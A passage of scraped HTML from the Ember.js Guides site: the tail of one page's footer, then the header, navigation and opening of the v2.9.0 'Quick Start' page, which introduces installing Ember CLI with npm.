88.4-60.5l-108.6-267.1h-41.8V162h174.8v62.9h-41.7l61.5 151.3 61.5-151.3H1446z"/></svg> </a> </div> <div class="contributor"> <p>Tested with:</p> <a href="https://percy.io"> <svg viewBox="0 0 423 125" fill="none" xmlns="http://www.w3.org/2000/svg" class="contributor-logo"><path fill-rule="evenodd" clip-rule="evenodd" d="M400.648 112.355c-.232.748-.608 1.273-1.127 1.568l-.15.076c-.562.234-1.163.2-1.871.023-2.286-.574-12.884-1.789-8.645-14.407l2.514-7.485-.57-1.455-2.755-6.677-17.26-40.878c-.38-.848-.242-1.62.097-2.147.351-.549.971-.826 1.846-.842h9.821c.673 0 1.245.185 1.684.53.44.348.762.878 1.035 1.531l12.67 30.214 9.088-30.13c.195-.72.54-1.268 1.004-1.632.455-.355 1.037-.532 1.716-.532h10.487c.89 0 1.522.257 1.894.738.372.499.422 1.22.146 2.149l-14.103 45.12-5.44 17.506-2.081 6.73zM359.293 71.74h10.723c1.657 0 2.632 1.076 2.047 2.74-3.022 10.177-12.575 17.223-23.981 17.223-14.817 0-25.831-11.255-25.831-25.835s11.014-25.833 25.831-25.833c11.406 0 20.959 7.045 23.981 17.222.585 1.663-.39 2.74-2.047 2.74h-10.723c-1.268 0-2.145-.587-2.925-1.663-1.754-2.446-4.776-3.817-8.286-3.817-6.335 0-11.21 4.6-11.21 11.351 0 6.753 4.875 11.352 11.21 11.352 3.51 0 6.532-1.37 8.286-3.718.78-1.175 1.559-1.762 2.925-1.762zm-52.512-29.06v2.55c1.212-2.158 3.978-5.221 11.198-5.123.524.006.945.206 1.255.53.455.474.673 1.115.673 1.943v11.96c0 .812-.169 1.42-.522 1.826-.337.404-.842.608-1.497.608-1.431-.05-2.794.1-4.124.455a9.778 9.778 0 0 0-3.551 1.791c-1.043.845-1.881 1.98-2.49 3.362-.619 1.404-.933 3.108-.942 5.136l-.069 12.755c-.072 13.321-10.191 11.303-12.553 11.166-.806-.046-1.432-.219-1.868-.658-.438-.44-.657-1.065-.657-1.875V42.68c0-.81.219-1.436.657-1.875.437-.44 1.061-.658 1.868-.658h10.097c.807 0 1.431.219 1.868.658.438.44.657 1.064.657 1.875zm-43.748-2.622c3.564.017 6.835.666 9.816 1.951a23.428 23.428 0 0 1 7.758 5.398c2.185 2.326 3.886 5.04 5.085 8.161 1.198 3.122 1.814 6.536 1.83 10.243 0 .634-.016 1.252-.065 1.838a65.191 65.191 0 0 1-.129 1.772c-.097.78-.389 1.348-.842 1.707-.454.358-1.053.536-1.782.536h-32.457c.615 1.919 1.474 3.479 2.607 4.682a10.428 10.428 0 0 0 3.952 2.602c1.507.552 3.11.812 4.811.812 1.376-.016 2.704-.227 3.968-.665 1.247-.44 2.332-1.026 3.223-1.773.47-.39.94-.7 1.393-.927.47-.227 1.004-.341 1.619-.341l9.329-.097c.892.016 1.539.276 1.928.78.372.504.388 1.154.016 1.95-1.279 2.83-2.981 5.203-5.102 7.106-2.122 1.918-4.584 3.348-7.386 4.325-2.801.958-5.862 1.447-9.182 1.447-4.05-.018-7.694-.683-10.933-1.985-3.255-1.3-6.025-3.104-8.324-5.446-2.317-2.324-4.082-5.057-5.313-8.161-1.23-3.122-1.847-6.504-1.863-10.162.016-3.658.649-7.04 1.912-10.16 1.263-3.107 3.044-5.838 5.36-8.163 2.301-2.34 5.054-4.146 8.228-5.446 3.175-1.3 6.689-1.967 10.543-1.984zm-68.18 5.316a22.761 22.761 0 0 1 6.533-3.865 21.372 21.372 0 0 1 7.61-1.408c6.452 0 12.76 2.895 16.989 7.575 4.223 4.673 6.836 11.128 6.836 18.253s-2.613 13.579-6.836 18.252c-4.23 4.679-10.537 7.575-16.989 7.575-4.725 0-9.683-1.492-13.137-4.816l.01 15.843c.008 13.321-10.192 11.302-12.554 11.166-.803-.046-1.432-.221-1.868-.66-.436-.437-.656-1.066-.656-1.874l-.032-68.665c0-.826.224-1.477.674-1.928.449-.451 1.094-.677 1.92-.677h8.871c.827 0 1.472.226 1.92.677.45.45.665 1.095.675 1.928l.033 2.624zm25.217 20.418c0-6.283-5.041-11.377-11.26-11.377-6.22 0-11.26 5.094-11.26 11.377 0 6.285 5.04 11.379 11.26 11.379 6.219 0 11.26-5.094 11.26-11.379zm36.016-10.825c-1.83 1.268-3.126 3.138-3.887 5.577h20.811c-.518-1.838-1.295-3.317-2.333-4.422a9.086 9.086 0 0 0-3.562-2.374 11.773 11.773 0 0 0-4.178-.716c-2.738.017-5.038.651-6.85 1.935zM153.654 30.725a5.164 5.164 0 0 0-4.903-3.74 5.184 5.184 0 0 0-1.999.362 22.04 22.04 0 0 1-7.383 1.483c-6.346-4.758-21.736-16.252-30.872-22.71 0 0 1.23 3.765 2.897 10.788 0 0-14.478-8.459-24.102-14.931 0 0 3.508 7.442 3.768 9.837 0 0-11.542-2.188-28.406-6.126 0 0 12.47 7.214 15.497 11.48 0 0-15.13-1.284-32.951-2.61 0 0 8.963 4.708 13.31 8.46 0 0-16.213 2.082-28.542 2.466 0 0 9.013 7.263 12.64 10.768 0 0-15.487 5.773-34.041 16.062 0 0 9.67.646 16.611 2.98 0 0-8.546 7.246-23.882 23.932 0 0 9.664-.186 17.475-1.098 0 0-6.266 9.29-14.148 26.035 0 0 5.261-3.185 10.322-4.283 0 0 .21 18.955 10.641 22.173l.01-.012c.51.17.999.234 1.424.241a5.854 5.854 0 0 0 1.595-.204c3.343-.883 5.918-4.082 8.898-7.787h.001c.976-1.213 1.978-2.458 3.041-3.671a25.118 25.118 0 0 1 4.595-4.737c3.758-2.955 8.926-5.15 15.158-4.127 7.023.709 11.247 7.71 14.643 13.339 2.567 4.256 4.595 7.617 7.501 7.987.204.025.408.04.606.043 4.45.078 6.104-5.028 8.198-11.493v-.002l.428-1.32.054.109c1.557-5.232 4.498-10.85 8.064-15.903 4.844-6.865 11.038-12.967 16.931-15.749l.015.03c3.204-1.762 6.574-3.42 9.895-5.054l.003-.002c10.295-5.064 20.018-9.848 24.983-17.277 2.483-3.716 3.762-8.306 3.802-13.644.035-4.788-.947-9.22-1.777-12.095zM110.69 86.593c-2.961 2.678-5.868 6.012-8.437 9.652-4.237 6.006-7.395 12.617-8.389 18.136 2.79 4.723 5.332 7.065 7.742 7.146l.076.001c2.217.039 3.704-1.408 4.422-4.3.536-2.158.694-5.134.878-8.58v-.004c.333-6.28.766-14.373 3.708-22.051zm-68.51 27.086l-.032-.084a21.944 21.944 0 0 1 4.857-5.354c3.071-2.414 7.087-4.161 11.896-3.649a133.762 133.762 0 0 1-1.91 4.6c-2.371 5.407-5.193 10.988-8.14 11.396a3.457 3.457 0 0 1-.527.032c-2.302-.04-4.311-2.31-6.143-6.941zm59.08-88.187L88.55 17.127l21.058 7.834-8.348.53zm-35.4 3.097l20.265 5.502 8.926-2.757-29.19-2.745zm36.116 10.72l4.4-3.177-16.858 2.5 12.458.676zm-28.803-.503l-7.042 4.488-19.263-2.153 26.305-2.335zm21.54 11.899l7.13-3.782-26.304 2.336 19.174 1.446zM75.185 54.7l-5.062 7.91-24.738 5.525 29.8-13.435zm-30.864 4.385L25.105 67.05l23.7-16.185-4.484 8.221zm-10.605 9.767l-.897 8.287-11.187 13.38 12.084-21.667z" fill="#3F3A40"/></svg> </a> </div> <div class="contributor"> <p>Resolved with:</p> <a href="https://dnsimple.com/resolving/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 613.33331 160" height="60" width="100" class="contributor-logo"><defs><clipPath id="a"><path d="M568.809 1050.45c-20.801 0-41.598-1.1-61.301-5.48V841.367c-28.461 10.946-61.301 16.418-105.086 16.418C246.98 857.785 120 751.605 120 580.84c0-175.145 116.031-271.477 286.801-271.477 84.285 0 170.765 22.989 224.402 51.45v684.157c-20.801 4.38-42.691 5.48-62.394 5.48zm-164.2-632.716c-94.14 0-158.722 63.493-158.722 165.293 0 100.707 68.961 165.293 160.914 165.293 37.215 0 71.152-4.379 100.707-22.988V434.156c-32.84-12.043-66.774-17.515-102.899-16.422zm611.911 442.243c-111.653 0-202.512-43.789-248.485-82.102v-452.09c20.797-4.379 41.598-5.472 61.301-5.472 20.797 0 42.691 1.093 62.394 5.472v391.887c24.083 14.23 66.774 28.461 114.94 28.461 79.91 0 125.88-36.125 125.88-131.36V325.785c21.9-4.379 41.6-5.472 62.4-5.472 19.7 0 41.6 1.093 62.39 5.472v318.543c0 119.317-73.34 215.649-240.82 215.649zm554.99-551.707c142.3 0 225.5 65.679 225.5 174.05 0 102.899-82.1 141.211-194.85 158.723-88.67 14.23-111.66 30.652-111.66 64.586 0 32.84 28.46 53.637 94.14 53.637 62.4 0 116.04-18.61 152.16-39.407 25.18 19.704 41.6 50.356 47.07 88.668-33.93 24.082-100.71 50.352-194.85 50.352-131.36 0-217.83-65.676-217.83-162.008 0-109.465 87.57-143.398 179.52-157.629 93.05-14.23 122.6-33.933 122.6-68.965 0-35.027-26.27-62.394-99.61-62.394-82.1 0-128.07 28.461-159.82 51.449-26.27-16.418-47.07-45.977-56.92-85.383 29.55-25.176 98.52-65.679 214.55-65.679zm398.45 614.101c42.69 0 78.82 35.027 78.82 78.809 0 43.79-36.13 78.82-78.82 78.82-44.88 0-81-35.03-81-78.82 0-43.782 36.12-78.809 81-78.809zm0-602.058c20.8 0 41.6 1.093 61.3 5.472v517.77c-19.7 4.379-41.59 5.472-61.3 5.472-20.8 0-41.59-1.093-62.39-5.472v-517.77c20.8-4.379 42.69-5.472 62.39-5.472zm791.43 539.664c-70.05 0-133.54-27.368-176.23-60.207-38.32 37.218-95.24 60.207-169.68 60.207-108.36 0-202.5-45.977-244.1-82.102v-452.09c20.8-4.379 41.6-5.472 61.3-5.472 20.8 0 42.69 1.093 62.39 5.472v391.887c27.37 16.418 65.68 28.461 106.18 28.461 84.29 0 116.04-53.641 116.04-128.074V325.785c20.8-4.379 41.6-5.472 63.49-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 16.422-2.19 32.84-5.47 48.168 25.17 20.797 60.2 42.692 110.55 42.692 84.29 0 117.13-53.641 117.13-128.074V325.785c19.71-4.379 40.51-5.472 62.4-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 112.75-76.63 204.704-226.6 204.704zm591.12-1.098c-98.52 0-180.62-38.313-230.97-79.91V123.273c21.89-4.378 41.59-5.472 62.39-5.472 20.8 0 41.6 1.094 61.3 5.472v201.418c32.84-10.949 67.87-15.328 111.66-15.328 144.49 0 274.75 101.805 274.75 276.95 0 179.523-120.41 272.566-279.13 272.566zm-4.38-438.953c-40.5 0-73.34 6.566-102.9 20.797v279.136c31.75 17.516 65.68 25.176 101.81 25.176 95.23 0 159.82-60.203 159.82-159.816 0-102.899-64.59-165.293-158.73-165.293zm458.66-99.613c20.8 0 42.69 1.093 62.39 5.472v718.095c-20.79 4.37-42.69 5.47-63.48 5.47-20.81 0-41.6-1.1-61.31-5.47V325.785c21.9-4.379 42.7-5.472 62.4-5.472zM4480 624.625c0 139.02-98.52 234.254-237.54 234.254-147.78 0-260.53-116.031-260.53-276.945 0-169.672 111.66-272.571 267.1-272.571 103.99 0 171.86 38.313 215.65 73.344-4.38 31.746-26.28 66.773-53.64 84.289-33.94-24.082-77.72-53.641-153.25-53.641-86.48 0-139.02 52.543-148.88 137.926h366.71c3.29 28.461 4.38 45.977 4.38 73.344zm-369.99 8.758c8.76 71.152 55.83 124.789 132.45 124.789 84.29-1.094 116.03-63.488 116.03-124.789z" clip-rule="evenodd"/></clipPath><clipPath id="b"><path d="M0 0h4600v1200H0z"/></clipPath></defs><g clip-path="url(#a)" transform="matrix(.13333 0 0 -.13333 0 160)"><g clip-path="url(#b)"><path d="M20 17.8h4560V1180H20z"/></g></g></svg> </a> </div> </div> </div> </div> </footer> <script type="x/boundary" id="fastboot-body-end"></script> <script src="/assets/vendor-43f2851966bb68f3f8b11728eabc662f.js"></script> <script src="/assets/ember-guides-282695ea5f03fe0586ac6b0c02eff6f2.js"></script> </body> </html>
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="ember-guides/config/environment" content="%7B%22modulePrefix%22%3A%22ember-guides%22%2C%22environment%22%3A%22production%22%2C%22rootURL%22%3A%22%2F%22%2C%22locationType%22%3A%22trailing-history%22%2C%22historySupportMiddleware%22%3Atrue%2C%22EmberENV%22%3A%7B%22FEATURES%22%3A%7B%7D%2C%22EXTEND_PROTOTYPES%22%3A%7B%22Date%22%3Afalse%7D%2C%22_APPLICATION_TEMPLATE_WRAPPER%22%3Afalse%2C%22_DEFAULT_ASYNC_OBSERVERS%22%3Atrue%2C%22_JQUERY_INTEGRATION%22%3Afalse%2C%22_TEMPLATE_ONLY_GLIMMER_COMPONENTS%22%3Atrue%7D%2C%22APP%22%3A%7B%22name%22%3A%22ember-guides%22%2C%22version%22%3A%223.7.0%2Ba7598d50%22%7D%2C%22ember-meta%22%3A%7B%22description%22%3A%22Ember.js%20helps%20developers%20be%20more%20productive%20out%20of%20the%20box.%20Designed%20with%20developer%20ergonomics%20in%20mind%2C%20its%20friendly%20APIs%20help%20you%20get%20your%20job%20done%E2%80%94fast.%22%7D%2C%22guidemaker%22%3A%7B%22title%22%3A%22Ember%20Guides%22%2C%22sourceRepo%22%3A%22https%3A%2F%2Fgithub.com%2Fember-learn%2Fguides-source%22%7D%2C%22algolia%22%3A%7B%22algoliaId%22%3A%22Y1OMR4C7MF%22%2C%22algoliaKey%22%3A%225d01c83734dc36754d9e94cbf6f8964d%22%2C%22indexName%22%3A%22ember-guides%22%7D%2C%22showdown%22%3A%7B%22ghCompatibleHeaderId%22%3Atrue%2C%22prefixHeaderId%22%3A%22toc_%22%7D%2C%22deprecationsGuideURL%22%3A%22https%3A%2F%2Fwww.emberjs.com%2Fdeprecations%2F%22%2C%22metricsAdapters%22%3A%5B%7B%22name%22%3A%22GoogleAnalytics%22%2C%22environments%22%3A%5B%22production%22%5D%2C%22config%22%3A%7B%22id%22%3A%22UA-27675533-1%22%2C%22require%22%3A%5B%22linkid%22%5D%7D%7D%5D%2C%22infoBanner%22%3A%7B%22content%22%3A%22Ember%20Octane%20is%20here!%20A%20lot%20has%20changed%20since%20Ember%203.14%2C%20including%20these%20Guides.%20Read%20more%20in%20the%20%3Ca%20href%3D%5C%22https%3A%2F%2Fblog.emberjs.com%2F2019%2F12%2F20%2Foctane-is-here.html%5C%22%3EEmber%20Blog%3C%2Fa%3E.%22%7D%2C%22exportApplicationGlobal%22%3Afalse%2C%22fastboot%22%3A%7B%22hostWhitelist%22%3A%5B%7B%7D%5D%7D%2C%22ember-collapsible-panel%22%3A%7B%7D%7D" /> <!-- EMBER_CLI_FASTBOOT_TITLE --> <meta name="ember-cli-head-start" content> <title>Quick Start - Getting Started - Ember Guides</title> <meta name="description" content="This guide will teach you how to build a simple app using Ember from scratch. We'll cover these steps: 1. Installing Ember. 2. Creating a new application. 3. Defining a route. 4. Writing a UI component. 5. Building your app to be deployed to production...."> <meta name="referrer" content="unsafe-url"> <!----> <!----> <!----> <!----> <meta property="og:title" content="Quick Start - Getting Started - Ember Guides"> <!----> <meta property="og:description" content="This guide will teach you how to build a simple app using Ember from scratch. We'll cover these steps: 1. Installing Ember. 2. Creating a new application. 3. Defining a route. 4. Writing a UI component. 5. Building your app to be deployed to production...."> <meta property="og:type" content="website"> <!----> <meta name="twitter:card" content="summary"> <!----> <!----> <meta name="twitter:title" content="Quick Start - Getting Started - Ember Guides"> <!----> <meta name="twitter:description" content="This guide will teach you how to build a simple app using Ember from scratch. We'll cover these steps: 1. Installing Ember. 2. Creating a new application. 3. Defining a route. 4. Writing a UI component. 5. Building your app to be deployed to production...."> <!----> <!----> <!----><meta name="ember-cli-head-end" content> <link integrity="" rel="stylesheet" href="/assets/vendor-c5cdfdb224e40208d070a18942b32fd3.css"> <link integrity="" rel="stylesheet" href="/assets/ember-guides-92dca9f7555a994d11fd3e94376c4753.css"> <link rel="shortcut icon" href="/images/favicon.png" /> </head> <body class="application version show version-show"> <script type="x/boundary" id="fastboot-body-start"></script><!----> <header id="ember186957" class="es-header ember-view" role="banner"><div id="ember186958" class="ember-view"><div class="container"> <nav id="ember186959" class="navbar navbar-inverse navbar-expand-lg bg-inverse ember-view"> <a class="navbar-brand" href="https://www.emberjs.com"> <svg width="94" height="37" viewBox="0 0 259 100" xmlns="http://www.w3.org/2000/svg"><title>Ember Logo 1c White</title><g fill="#FFF" fill-rule="evenodd"><path d="M253.97 68.576s-6.28 4.872-11.807 4.328c-5.528-.544-3.792-12.896-3.792-12.896s1.192-11.328-2.064-12.28c-3.248-.944-7.256 2.952-7.256 2.952s-4.984 5.528-7.368 12.576l-.656.216s.76-12.36-.104-15.176c-.648-1.408-6.608-1.296-7.584 1.192-.976 2.496-5.744 19.832-6.072 27.096 0 0-9.32 7.912-17.44 9.208-8.128 1.304-10.08-3.792-10.08-3.792s22.104-6.176 21.344-23.84c-.752-17.664-17.824-11.128-19.752-9.68-1.872 1.408-11.848 7.424-14.76 24.088-.096.56-.272 3.04-.272 3.04s-8.56 5.736-13.328 7.256c0 0 13.328-22.432-2.92-32.616-4.574-2.753-8.56-.216-10.929 2.11-1.451 1.425 19.705-21.718 14.825-42.422C151.635.08 146.707-.976 142.187.624c-6.864 2.704-9.464 6.712-9.464 6.712s-8.888 12.896-10.952 32.08c-2.056 19.176-5.088 42.368-5.088 42.368s-4.232 4.12-8.128 4.336c-3.904.208-2.168-11.6-2.168-11.6s3.032-17.984 2.824-21.024c-.224-3.032-.44-4.656-4.016-5.736-3.576-1.088-7.48 3.464-7.48 3.464s-10.288 15.6-11.152 17.984l-.552.984-.536-.656s7.256-21.24.328-21.56c-6.936-.328-11.488 7.584-11.488 7.584s-7.912 13.224-8.24 14.736l-.536-.648s3.248-15.384 2.6-19.184c-.656-3.792-4.224-3.032-4.224-3.032s-4.552-.544-5.744 2.384c-1.192 2.928-5.528 22.32-6.072 28.496 0 0-11.376 8.128-18.856 8.232-7.472.112-6.712-4.736-6.712-4.736s27.416-9.384 19.936-27.912c-3.36-4.768-7.256-6.264-12.784-6.16-5.528.112-12.384 3.48-16.824 13.448-2.128 4.752-2.896 9.272-3.336 12.68 0 0-4.792.984-7.392-1.184-2.608-2.168-3.944 0-3.944 0s-4.464 5.696-.024 7.424c4.448 1.736 11.376 2.544 11.376 2.544.64 3.032 2.488 8.192 7.904 12.296 8.128 6.176 23.72-.568 23.72-.568l6.392-3.584s.216 5.864 4.88 6.72c4.656.856 6.608-.016 14.736-19.736 4.768-10.08 5.096-9.536 5.096-9.536.536-.112-3.144 19.176-1.736 24.376 1.408 5.208 7.584 4.664 7.584 4.664s3.36.648 6.072-8.888c2.704-9.536 7.912-20.048 7.912-20.048.64 0-1.632 19.72 1.832 26.008 3.472 6.288 12.464 2.112 12.464 2.112s6.288-3.168 7.264-4.144c0 0 7.456 6.352 17.976 5.2 23.52-4.632 31.888-10.888 31.888-10.888s4.04 10.24 16.56 11.192c14.296 1.08 22.104-7.912 22.104-7.912s-.112 5.848 4.872 7.912c4.992 2.056 8.344-9.52 8.344-9.52l8.344-22.992c.76 0 1.192 14.952 9.432 17.336 8.232 2.384 18.96-5.584 18.96-5.584s2.6-1.432 2.168-5.768c-.44-4.336-4.336-2.72-4.336-2.72zM36.93 57.728c2.92 2.816 1.84 8.88-3.687 12.672-5.52 3.8-8.016 3.04-8.016 3.04.328-12.896 8.784-18.536 11.704-15.712zm107.817-44.536c1.84 9.752-16.144 38.792-16.144 38.792.216-6.504 6.608-28.496 6.608-28.496s7.688-20.048 9.536-10.296zM126.97 87.2s-1.408-4.768 2.6-18.096c4.016-13.328 13.44-8.128 13.44-8.128s6.504 4.984 1.408 18.312C139.33 92.616 126.97 87.2 126.97 87.2zm54.832-26.112c4.44-8.128 7.912-3.688 7.912-3.688s3.792 4.12-.544 10.296c-4.336 6.176-10.616 5.744-10.616 5.744s-1.192-4.232 3.248-12.352z"/><path d="M226.028 93.977v-1.555h.986c.137 0 .274.015.418.03.144.02.28.057.396.107.122.05.216.122.288.216.079.094.115.223.115.382 0 .36-.108.59-.324.684-.216.093-.497.136-.835.136h-1.044zm-1.174-2.47v5.92h1.174v-2.528h.734l1.44 2.527h1.231l-1.584-2.585a2.8 2.8 0 0 0 .612-.13c.187-.064.353-.158.49-.28.144-.122.252-.28.331-.475.086-.195.122-.425.122-.699 0-.64-.201-1.094-.597-1.353-.403-.267-.98-.396-1.72-.396h-2.233zm-1.88 2.967c0-.605.102-1.159.31-1.663.21-.504.49-.936.85-1.303a3.853 3.853 0 0 1 1.26-.864 3.93 3.93 0 0 1 1.562-.31c.548 0 1.066.101 1.548.31.49.209.908.497 1.268.864s.64.8.856 1.303c.21.504.317 1.058.317 1.663s-.108 1.16-.317 1.67c-.216.505-.496.951-.856 1.318-.36.375-.778.663-1.268.871-.482.21-1 .31-1.548.31a3.93 3.93 0 0 1-1.562-.31 3.765 3.765 0 0 1-1.26-.87 4.109 4.109 0 0 1-.85-1.318 4.366 4.366 0 0 1-.31-1.67zm-1.446 0c0 .814.15 1.541.446 2.19.302.654.698 1.209 1.195 1.67.504.46 1.08.813 1.735 1.058.656.245 1.34.367 2.052.367.72 0 1.404-.122 2.06-.367a5.282 5.282 0 0 0 1.735-1.059 5.234 5.234 0 0 0 1.195-1.67c.295-.648.44-1.375.44-2.189 0-.799-.145-1.526-.44-2.174a5.125 5.125 0 0 0-2.93-2.722 5.675 5.675 0 0 0-2.06-.374c-.712 0-1.396.122-2.052.374a5.125 5.125 0 0 0-2.93 2.722c-.295.648-.446 1.375-.446 2.174z"/></g></svg> </a> <button id="ember186960" class="navbar-toggler collapsed ember-view"> <span class="navbar-toggler-icon"></span> </button> <div id="ember186961" class="navbar-collapse collapse ember-view"><ul id="ember186962" class="mr-auto nav navbar-nav ember-view"><!----><li id="ember186963" class="dropdown nav-item ember-view"> <a href="#" id="ember186964" class="dropdown-toggle nav-link ember-view" role="button">Docs <span class="caret"></span></a> <!----> </li> <!----><li id="ember186966" class="dropdown nav-item ember-view"> <a href="#" id="ember186967" class="dropdown-toggle nav-link ember-view" role="button">Releases <span class="caret"></span></a> <!----> </li> <li id="ember186969" class="nav-item ember-view"> <a href="https://emberjs.com/blog" class="nav-link">Blog</a> </li><!----> <!----><li id="ember186970" class="dropdown nav-item ember-view"> <a href="#" id="ember186971" class="dropdown-toggle nav-link ember-view" role="button">Community <span class="caret"></span></a> <!----> </li> <!----><li id="ember186973" class="dropdown nav-item ember-view"> <a href="#" id="ember186974" class="dropdown-toggle nav-link ember-view" role="button">About <span class="caret"></span></a> <!----> </li> </ul><ul id="ember186976" class="nav navbar-nav ember-view"> <form> <div id="ember186977" class="search-input ember-view"> <input id="search-input" placeholder="Search the guides" autocomplete="off" type="search"> <div id="ember186978" class="ds-dropdown-results ember-tether ember-view"><!----></div></div> </form> </ul> </div> </nav></div> </div> </header> <!----> <div class="info-banner-wrapper"> <div class="info-banner-container"> <div id="ember186979" class="ember-view"><p>Ember Octane is here! A lot has changed since Ember 3.14, including these Guides. Read more in the <a href="https://blog.emberjs.com/2019/12/20/octane-is-here.html">Ember Blog</a>.</p> </div> </div> </div> <main class="container"> <aside class="sidebar"> <label for="version-select" class="visually-hidden">Guides version</label> <div id="ember186980" class="ember-basic-dropdown ember-view"> <div aria-label="v2.9.0" aria-owns="ember-basic-dropdown-content-ember186980" tabindex="0" data-ebd-id="ember186980-trigger" role="button" id="ember186981" class="ember-power-select-trigger ember-basic-dropdown-trigger ember-basic-dropdown-trigger--in-place ember-view"> <span class="ember-power-select-selected-item"> 2.9 <!----> </span> <!----><span class="ember-power-select-status-icon"></span> </div> <div id="ember-basic-dropdown-content-ember186980" class="ember-basic-dropdown-content-placeholder" style="display: none;"></div> </div> <input id="toc-toggle" class="toc-toggle visually-hidden" type="checkbox"> <label for="toc-toggle">Table of Contents <span class="visually-hidden">toggle</span></label> <nav class="toc-container versions" aria-label="table of contents"> <ol id="ember186985" class="toc-level-0 ember-view"><!----> <li class="toc-group toc-level-0"> <div id="ember186988" class="cp-Panel cp-is-open ember-view"><a href="/v2.9.0/getting-started" id="ember186989" class="cp-Panel-toggle ember-view"> Getting Started </a> <div id="ember186990" class="cp-Panel-body cp-is-open ember-view"> <div class="cp-Panel-body-inner"> <ol id="ember186991" class="toc-level-1 ember-view"> <li class="toc-link toc-level-1 selected"> <a href="/v2.9.0/getting-started/quick-start" id="ember186993" class="selected ember-view"> Quick Start </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.9.0/getting-started/index" id="ember186995" class="ember-view"> Installing Ember </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.9.0/getting-started/core-concepts" id="ember186997" class="ember-view"> Core Concepts </a> </li> </ol> </div> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember186999" class="cp-Panel cp-is-closed ember-view"><a href="/v2.9.0/tutorial" id="ember187000" class="cp-Panel-toggle ember-view"> Tutorial </a> <div id="ember187001" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember187003" class="cp-Panel cp-is-closed ember-view"><a href="/v2.9.0/object-model" id="ember187004" class="cp-Panel-toggle ember-view"> The Object Model </a> <div id="ember187005" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember187007" class="cp-Panel cp-is-closed ember-view"><a href="/v2.9.0/routing" id="ember187008" class="cp-Panel-toggle ember-view"> Routing </a> <div id="ember187009" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember187011" class="cp-Panel cp-is-closed ember-view"><a href="/v2.9.0/templates" id="ember187012" class="cp-Panel-toggle ember-view"> Templates </a> <div id="ember187013" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember187015" class="cp-Panel cp-is-closed ember-view"><a href="/v2.9.0/components" id="ember187016" class="cp-Panel-toggle ember-view"> Components </a> <div id="ember187017" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember187019" class="cp-Panel cp-is-closed ember-view"><a href="/v2.9.0/controllers" id="ember187020" class="cp-Panel-toggle ember-view"> Controllers </a> <div id="ember187021" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember187023" class="cp-Panel cp-is-closed ember-view"><a href="/v2.9.0/models" id="ember187024" class="cp-Panel-toggle ember-view"> Models </a> <div id="ember187025" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember187027" class="cp-Panel cp-is-closed ember-view"><a href="/v2.9.0/applications" id="ember187028" class="cp-Panel-toggle ember-view"> Application Concerns </a> <div id="ember187029" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember187031" class="cp-Panel cp-is-closed ember-view"><a href="/v2.9.0/testing" id="ember187032" class="cp-Panel-toggle ember-view"> Testing </a> <div id="ember187033" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember187035" class="cp-Panel cp-is-closed ember-view"><a href="/v2.9.0/ember-inspector" id="ember187036" class="cp-Panel-toggle ember-view"> Ember Inspector </a> <div id="ember187037" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember187039" class="cp-Panel cp-is-closed ember-view"><a href="/v2.9.0/addons-and-dependencies" id="ember187040" class="cp-Panel-toggle ember-view"> Addons and Dependencies </a> <div id="ember187041" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember187043" class="cp-Panel cp-is-closed ember-view"><a href="/v2.9.0/configuring-ember" id="ember187044" class="cp-Panel-toggle ember-view"> Configuring Ember.js </a> <div id="ember187045" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember187047" class="cp-Panel cp-is-closed ember-view"><a href="/v2.9.0/contributing" id="ember187048" class="cp-Panel-toggle ember-view"> Contributing to Ember.js </a> <div id="ember187049" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember187051" class="cp-Panel cp-is-closed ember-view"><a href="/v2.9.0/glossary" id="ember187052" class="cp-Panel-toggle ember-view"> Glossary </a> <div id="ember187053" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> </ol> </nav> </aside> <article id="ember187054" class="chapter ember-view"> <div class="old-version-warning"> <i class="icon-attention-circled"></i><strong>Old Guides - </strong>You are viewing the guides for Ember v2.9.0. <a href="/release/getting-started/quick-start" id="ember187055" class="btn ember-view"> VIEW v3.15.0 </a> </div> <a href="https://github.com/ember-learn/guides-source/edit/master/guides/v2.9.0/getting-started/quick-start.md" target="_blank" class="edit-page icon-pencil" rel="noopener"> Edit Page </a> <h1> Quick Start </h1> <hr> <div id="ember187056" class="ember-view"><p>This guide will teach you how to build a simple app using Ember from scratch.</p> <p>We'll cover these steps:</p> <ol> <li>Installing Ember.</li> <li>Creating a new application.</li> <li>Defining a route.</li> <li>Writing a UI component.</li> <li>Building your app to be deployed to production.</li> </ol> <h2 id="toc_install-ember">Install Ember</h2> <section aria-labelledby="toc_install-ember"> <p>You can install Ember with a single command using npm, the Node.js package manager. Type this into your terminal:</p> <pre><code class="bash language-bash">npm install -g ember-cli </code></pre> <p>Don't have npm? <a href="https://docs.npmjs.com/getting-started/installing-node">Learn how to install Node.js and npm here</a>. For a full list of dependencies necessary for an Ember CLI project, consult our <a href="../../getting-started/">Installing Ember</a> guide.</p> </section> <h2 